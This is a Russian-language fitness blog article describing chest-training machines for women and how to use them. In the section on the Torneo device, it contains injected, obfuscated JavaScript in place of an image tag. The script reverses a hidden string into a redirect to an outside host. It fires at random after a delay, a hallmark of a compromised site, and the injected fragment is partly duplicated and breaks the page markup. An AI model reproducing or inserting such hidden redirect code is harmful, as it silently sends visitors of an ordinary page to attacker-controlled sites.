Самые эффективные тренажеры для женских грудных мышц

Физические нагрузки не способны увеличить объем груди, но при этом они делают ее более подтянутой, улучшая внешний вид. В таком случае поможет тренажер для груди, который доступен для домашнего применения. Есть несколько устройств со своими особенностями.

Какими тренажерами накачать грудные мышцы?

Для получения красивого и рельефного тела в тренировках важно прорабатывать все мышечные группы. Тренажер для грудных мышц можно найти в зале, но есть устройства, которые можно приобрести и для домашних занятий. Для выполнения базовых упражнений принято использовать перекладину, гантели и штангу, выполняя жимы и подтягивания. Тщательная проработка подразумевает использование изолирующих упражнений, которые можно выполнять на специальных тренажерах, например, «Бабочка» или «Хаммер».

Чтобы получить хорошие результаты, необходимо использовать тренажер для груди по правилам:

  1. Для начала изучите конструкцию устройства и все особенности работы с ним, поскольку только правильная техника поможет достичь результатов.
  2. Заниматься нужно регулярно и лучше всего нагружать мышцы три раза в неделю.
  3. Выполняйте упражнения в нескольких подходах, например, 3х15.

Тренажер для груди «Еasy curves»

Для дома можно выбрать простой в использовании тренажер, который будет нагружать мышцы груди и рук. Он создает телескопическую нагрузку, и конструкция имеет поршни. Тренажер для увеличения груди основан на разведении и сведении рук. Во время тренировки устройство держится обеими руками на уровне груди. Тренажер имеет регулятор нагрузки. Производитель предлагает несколько программ для эффективной работы.

Тренажер для груди «Торнео»

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torneo.jpg» alt=»» width=»660″ height=»447″ />

Это устройство можно назвать экспандером, который состоит из двух рукояток в виде крыльев, имеющих одну исходную точку. Представленный грудной тренажер можно использовать для проработки других частей тела. Благодаря компактности устройства можно проводить тренировки в любом месте. Для проработки грудных мышц необходимо удерживать тренажер на уровне груди, расположив его между предплечьями. Ладони должны находиться на головке устройства, а локти быть опущенными вниз. Для проработки мышц соединяйте и разводите локти, держа кисти в неподвижном состоянии.

Тренажер «Бабочка» для грудных мышц

Упражнение, выполняемое на этом тренажере, не является базовым и его может использоваться для дополнительной нагрузки грудных мышц. Конструкция имеет два рычага с вертикальными рукоятками, которые необходимо сводить. Тренажер для рук и груди используется согласно ряду особенностей:

  1. Настройте тренажер под себя, для чего сядьте на скамью и положите руки на рукоятки. Важно, чтобы плечи находились в параллели с полом, а предплечья были перпендикулярными.
  2. Прижмите к спинке поясницу и затылок. Локтями упритесь в специальные подушки. Чтобы сохранять устойчивость, поставьте ноги пошире.
  3. Тренажер для мышц груди основан на сведении рук, поэтому сделайте вдох, соедините руки, в конечной точке сделайте небольшую паузу и верните руки в ИП. Выполняйте движения плавно и медленно.

Тренажер «Хаммер» для грудных мышц

В залах есть специальный тренажер, предназначенный для развития грудных мышц, и в нем используется рычаг, с одной стороны которого крепится груз. К преимуществам «Хаммера» можно отнести тот факт, что он ограничивает работу мышц стабилизаторов и нагрузка идет только на нужные мышцы. Упражнения на грудь на тренажере «Хаммер» могут быть использованы, как второстепенные, то есть изолирующие. Важные детали техники выполнения:

  1. Жим от груди в тренажере выполняйте, плотно прижав поясницу к спинке сиденья.
  2. На выдохе двигайте локти навстречу друг другу, сокращая грудные мышцы.
  3. В верхней точке не нужно полностью выпрямлять локти, чтобы нагрузка не перешла на трицепс.

Друзья, поддержите нашу группу в Фейсбуке, поделитесь этим постом с друзьями или нажмите кнопку «Мне нравится!» и Вы всегда будете в курсе свежих новостей «Дежурной Качалки»!

Для вас мы собираем лучшие тренировки, рекомендации по правильному питанию и конечно же юмор из мира красивых, энергичных и здоровых людей — таких как мы с вами!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector